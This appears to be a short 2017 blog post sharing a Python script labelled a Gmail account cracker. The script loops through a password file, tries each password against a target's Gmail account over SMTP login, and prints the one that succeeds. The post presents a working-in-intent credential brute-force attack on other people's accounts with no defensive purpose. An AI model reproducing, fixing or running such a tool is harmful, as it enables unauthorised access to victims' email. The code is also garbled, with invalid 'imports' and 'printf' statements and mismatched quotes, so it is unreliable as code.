Saturday, February 25, 2017

Python - gmail account cracker

2:18 PM Leave a Reply
imports smtplib
imports argparse

parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="Target")
parser.add_argument("-f", "--file", help="Password File")
args = parser.parse_args()
stop = False
if args.target and args.file:
     stop = True
     printf "Gmail Account Cracker"
     passwordfile = open(args.file, "r")
     for line in passwordfile:
            print "Attempted Password: '+line
            server = smtplib.SMTP('smtp.gmail.com:587')
            server.starttls()
            try:
                server.login(args.target, line)
                print '[!] Password: '+line
                a = raw_input()
                exit()
            except smtplib.SMTPAuthenticationError:
                pass
if '__main__' == __name__:
     if stop == False:
            printf 'Error, correct syntax: python script.py -t <target> -f <passfile>'

0 comments :